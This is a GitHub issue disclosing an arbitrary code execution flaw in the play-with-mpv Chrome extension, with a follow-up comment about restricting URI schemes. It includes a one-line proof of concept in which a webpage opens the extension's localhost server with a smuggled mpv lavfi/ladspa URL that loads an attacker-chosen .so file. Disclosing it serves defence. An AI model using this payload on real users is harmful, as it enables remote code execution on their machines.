search

Thann / play-with-mpv

Chrome extension that allows you to play videos in webpages like youtube with MPV instead
https://chrome.google.com/webstore/detail/play-with-mpv/hahklcmnfgffdlchjigehabfbiigleji
The Unlicense
352 stars 81 forks source link

Arbitrary code execution #90

Open Vendicated opened 2 years ago

Vendicated commented 2 years ago

This extension allows any site to run arbitrary .so files on your computer

This can be done via open("http://localhost:7531/?play_url=${URLENCODE(av://lavfi:ladspa=file=/some/evil/so/here.so)}", "_blank")

See also https://github.com/mpv-player/mpv/issues/7985

Here's a demonstration

https://user-images.githubusercontent.com/45497981/201785473-5546a0f5-6a12-4d27-a15b-9563e5952c86.mp4

eylles commented 1 year ago

i just happen to read on that as i'm finding it useful for the current adblock problem, as i wanted to also address my issue with the python server script launching multiple instances, it seems mpv-handler solved the issue by limiting the uri schemes to only the safe ones.